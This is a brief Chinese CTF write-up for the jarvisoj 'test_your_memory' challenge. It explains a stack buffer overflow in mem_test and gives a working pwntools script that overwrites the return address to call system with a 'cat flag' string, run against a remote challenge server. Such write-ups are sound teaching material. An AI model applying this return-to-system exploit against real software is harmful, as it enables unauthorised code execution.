jarvisoj_test_your_memory
例行检查 ,32位,开启了NX保护
运行一下,跳出了一个地址0x80487e0
用IDA打开。看到了cat flag.还有system
找到了他们的地址
查看main函数
mem_test函数
存在溢出漏洞,由于之前检索字符串的时候发现程序里调用了system函数,可以覆盖ret为system函数,去执行system。
from pwn import *
r =remote('node3.buuoj.cn',27075)
system_plt = 0x8048440
cat_flag = 0x80487e0
payload = 'a' * (0x13+4) + p32(system_plt) + p32(0x8048677) + p32(cat_flag)
r.sendline(payload)
r.interactive()